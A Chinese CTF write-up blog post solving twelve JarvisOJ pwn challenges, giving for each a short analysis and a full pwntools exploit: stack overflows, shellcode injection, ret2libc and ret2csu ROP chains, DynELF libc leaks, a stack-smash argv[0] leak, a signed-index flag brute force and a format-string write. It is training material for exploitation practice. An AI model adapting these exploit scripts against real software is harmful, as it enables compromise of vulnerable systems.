目錄
  1. 1. level0
  2. 2. level1
  3. 3. level2
  4. 4. level2(x64)
  5. 5. level3
  6. 6. level3_x64
  7. 7. level4
  8. 8. Test Your Memory
  9. 9. Tell Me Something
  10. 10. Smashes
  11. 11. Guess
  12. 12. fm
jarvisOJ解题记录之pwn

level0

checksec,NX开启

ida查看程序

栈溢出,可以直接覆盖掉返回地址是程序直接执行callsystem函数从而拿到shell

1
2
3
4
5
6
from pwn import *

tar = remote("pwn2.jarvisoj.com"," 9881")
payload = 'A'*0x88 + p64(0x400596)
tar.send(payload)
tar.interactive()

level1

checksec,没有开启NX

IDA查看程序

栈溢出,由于没有开启NX,可以直接在栈中写入shellcode。栈的首地址程序会打印出来,所以直接接收

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.log_level = 'debug'

p = remote("pwn2.jarvisoj.com","9877")
elf = ELF("./level1")
shellcode = asm(shellcraft.sh())
buf = p.recvline()[14:-2]
buf = int(buf,16)
print hex(buf)
payload = shellcode.ljust(140,'a') + p32(buf)
p.sendline(payload)
p.interactive()

level2

checksec,开启了NX

IDA查看程序

栈溢出,调用系统函数执行“/bin/sh”

1
2
3
4
5
6
7
8
9
10
from pwn import *

context.log_level = 'debug'

p = remote("pwn2.jarvisoj.com","9878")
system_addr = 0x08048320
bin_sh = 0x0804a024
payload = flat([140*'a',system_addr,'aaaa',bin_sh])
p.sendline(payload)
p.interactive()

level2(x64)

IDA查看程序

与上一题基本相同,需要注意的是64位程序与32位函数传参的不同。

32位:函数参数直接入栈

1
call_addr->ret_addr->参数n->参数n-1...

64位:

1
2
前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中
数超过六个时,从第七个开始压入栈中

这里调用system只需要一个参数“/bin/sh”,将它的地址填入rdi中即可。需要一次gadget

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p = remote("pwn2.jarvisoj.com","9882")

system_addr = 0x4004c0
bin_sh = 0x600a90
rdi_pop_addr = 0x4006b3

payload = 'a' * 0x88 + p64(rdi_pop_addr) + p64(bin_sh) + p64(system_addr)
p.recvuntil("Input:")
p.sendline(payload)

p.interactive()

level3

checksec

IDA查看程序

发现栈溢出,但是程序中没有可以直接利用的函数。但是有write函数,write函数可以输出write函数在got表中的地址,从而可以计算出system函数和“/bin/sh”的地址。

首先找到write函数的地址

1
2
3
4
5
6
7
8
9
from pwn import *
p = remote(" pwn2.jarvisoj.com","9879")
elf = ELF("./level3")
write_plt = elf.symbols['write']
write_got = elf.got['write']
payload = 'a' * 0x88 + 'aaaa' + p32(write_plt) + p32(vun_addr) + p32(1) + p32(write_got) + p32(4)
p.recvuntil("Input:\n")
p.sendline(payload)
write_addr = u32(p.recv(4))

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
p = remote("pwn2.jarvisoj.com","9879")
#p = process("./level3")
elf = ELF("./level3")
if args.G:
gdb.attach(p)
vun_addr = 0x0804844b
write_plt = elf.symbols['write']
write_got = elf.got['write']
payload = 'a' * 0x88 + 'aaaa' + p32(write_plt) + p32(vun_addr) + p32(1) + p32(write_got) + p32(4)
p.recvuntil("Input:\n")
p.sendline(payload)
write_addr = u32(p.recv(4))
print hex(write_addr)

libc = ELF('./libc-2.19.so')
libc_base = write_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search("/bin/sh"))


payload2 = 'a' * 140 + p32(system_addr) + "aaaa"+ p32(binsh_addr)
p.sendline(payload2)
p.interactive()

level3_x64

利用write函数泄露got表需要三个参数,在64位程序中,前三个参数分别存在rdi、rsi、rdx中,因此可以利用ret2csu。exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
p = remote("pwn2.jarvisoj.com","9883")

elf = ELF("./level3_x64")

write_got = elf.got['write']
write_plt = elf.symbols['write']
main_addr = elf.symbols['main']
csu_front_addr = 0x400690
csu_end_addr = 0x4006aa
fakeebp = 'b' * 8

def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
p.send(payload)
sleep(1)

p.recvuntil("Input:\n")
csu(0,1,write_got,8,write_got,1,main_addr)
write_addr = u64(p.recv(8))
print hex(write_addr)

libc = ELF("./libc-2.19.so")
libc_base = write_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search("/bin/sh"))
print hex(system_addr)
print hex(binsh_addr)

p.recvuntil("Input:\n")
#csu(0, 1, system_addr, 0, 0, binsh_addr, main_addr) ##可能binsh_addr的内容超过8字节,打不通
rdi = 0x4006b3 #ROPgadget 得到
payload2 = 'a' * 0x80 + fakeebp
payload2 += p64(rdi) + p64(binsh_addr)
payload2 += p64(system_addr) + p64(main_addr)

p.sendline(payload2)
p.interactive()

level4

这道题是对无libc的栈溢出的考察,pwntools有Dynelf工具可以解决这类问题。具体攻击思路

1
利用write函数泄露出system的地址,将"/bin/sh"写入./bss段中,最后通过构造栈空间使system调用"/bin/sh"从而拿到shell

首先利用write泄露system地址

1
2
3
4
5
6
7
8
elf = ELF("./level4")
def leak(addr):
payload = 'a' * 0x90 + p32(write_addr) + p32(vun_addr) + p32(1) + p32(addr) + p32(4)
p.sendline(payload)
data = p.recv(4)
return data
d = DynELF(leak,elf)
system_addr = d.lookup('system','libc')

然后将”/bin/sh”写入.bss

1
2
3
payload = 'a'*0x90 + p32(read_addr) + p32(vun_addr) + p32(0) + p32(bss_addr) + p32(8)
p.sendline(payload)
p.senline("/bin/sh\x00")

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
p = remote("pwn2.jarvisoj.com","9880")

elf = ELF("./level4")
write_addr = elf.symbols['write']
read_addr = elf.symbols['read']
vun_addr = elf.symbols['vulnerable_function']
bss_addr = elf.symbols['__bss_start']
print hex(bss_addr)
def leak(addr):
payload = 'a' * 0x8c + p32(write_addr) + p32(vun_addr) + p32(1) + p32(addr) + p32(4)
p.sendline(payload)
data = p.recv(4)
return data
d = DynELF(leak,elf = ELF("./level4"))
system_addr = d.lookup('system','libc')
exit_addr = d.lookup('exit','libc')

payload = 'a'* 0x8c + p32(read_addr) + p32(vun_addr) + p32(0) + p32(bss_addr) + p32(8)
p.sendline(payload)
p.send('/bin/sh\x00')

payload = 'a'*0x8c + p32(system_addr) + p32(exit_addr) + p32(bss_addr)
p.sendline(payload)
p.interactive()

参考链接

https://www.anquanke.com/post/id/85129

https://www.freebuf.com/articles/system/193646.html

Test Your Memory

ret2libc,具体思路和方法与level2相似,exp如下

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = remote("pwn2.jarvisoj.com", "9876")

system = 0x08048440
catflag = 0x080487e0
main = 0x080485d0
payload = 'a' * (0x13+4) + p32(system) + p32(main) + p32(catflag)

p.sendline(payload)
p.interactive()

Tell Me Something

checksec, 64位程序,NX开启

ida查看

栈溢出,用good_game地址覆盖掉函数返回地址,找出返回地址的位置

查看main函数的汇编代码,没有rbp入栈,因此填充长度为0x88,编写exp

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote("pwn.jarvisoj.com", "9876")

good_game = 0x400620

payload = 'a' * 0x88 + p64(good_game)
p.sendline(payload)
p.interactive()

Smashes

checksec,开启栈溢出保护,NX,fortify

根据以上信息,这是一种基于stack smash的花式栈溢出。也就是:当发生栈溢出时,__stack_chk_fail 函数会打印出报错信息,报错信息中包含argv[0],而argv[0]是保存在栈中的,因此我们可以将想要的内容的地址覆盖掉argv[0]地址即可

ida查看程序

_IO_getc函数会产生栈溢出,while循环中:flag会被overwrite,查看0x600d20的内容

1
2
.data:0000000000600D20 byte_600D20     db 50h                  ; DATA XREF: sub_4007E0+6Ew
.data:0000000000600D21 aCtfHereSTheFla db 'CTF{Here',27h,'s the flag on server}',0

说明0x600d20是最初flag地址,但是该内容会被覆盖掉。这时候我们就需要利用一个技巧了

1
在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出,可以使用 gdb 的 find 来进行查找。

在memset处下断点:b *400873

接下来找argv[0]的地址,在main函数处下断点:b *4006d0

找到argv[0]地址0x7fffffffe288,查看canary保护的汇编代码

在__IO_gets处下断点:b *40080e,然后计算argv[0]的偏移

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = remote("pwn.jarvisoj.com", "9877")

good_game = 0x400d20
p.recvuntil("name?")
payload = 'a' * 536 + p64(good_game)
#payload = p64(good_game)*300 ##盲打
p.sendline(payload)
p.recvuntil("flag:")
p.sendline("1")
p.interactive()

Guess

checksec,NX开启

IDA查看程序

inbuf[4096],fgets(inbuf,4096,stdin),无栈溢出,继续查看is_flag_correct(inbuf)

从后往前看,需要diff=0,因此需要flag和given_flag相等,given_flag与value相关,value值受bin_by_hex控制。整个程序逻辑为:

1
输入50个字符的十六进制,即100个十六进制字符。通过bin_by_hex,将100个十六进制字符转化为50个字符串存到given_flag中,最后比较真实的flag与given_flag的值。例如:输入"313233",通过bin_by_hex就会生成"123"

查看函数栈结构

可以看到flag的地址比bin_by_hex低,再看value,发现漏洞

1
2
3
value1 = bin_by_hex[flag_hex[2*i]];   ##flag_hex为输入值
value2 = bin_by_hex[flag_hex[2*i+1]];
given_flag[i] = value2 | value1*16;

flag_hex为char型,可以控制flag_hex为负数,这是value值可以为flag中的值,当value1=0时,given_flag就等于value2

1
2
128 + 64 : -64
128 + 64 + i :64+i
1
2
3
4
payload = ""
for i in range(50):
payload+='0'
payload+=chr(128+i+64)

这样就可以使given_flag的值等于flag,但是还是无法知道具体的值,于是爆破,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import string

p = remote("pwn.jarvisoj.com","9878")

p.recvuntil(">")
payload = ""
for i in range(50):
payload+='0'
payload+=chr(128+i+64)

t = list(payload)
#l = "0123456789abcdef"

flag = ""
for i in range(50):
for j in string.printable:
t[2*i] = j.encode("hex")[0]
t[2*i+1] = j.encode("hex")[1]
p.sendline("".join(t))
re = p.recvline()
if "Yaaaa" in re:
flag += j
break
print flag

p.interactive()

fm

这是一道格式化字符串的内存覆盖,详细过程https://j-kangel.github.io/2019/05/01/PWN%E5%AD%A6%E4%B9%A0%E4%B9%8Bfmtstr/#more

exp如下:

1
2
3
4
5
6
7
from pwn import *
p = remote("pwn2.jarvisoj.com","9895")

x_addr = 0x0804a02c
payload = p32(x_addr) + "%11$n"
p.sendline(payload)
p.interactive()
文章作者: kangel
文章鏈接: https://j-kangel.github.io/2019/05/19/jarvisOJ解题记录之pwn/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL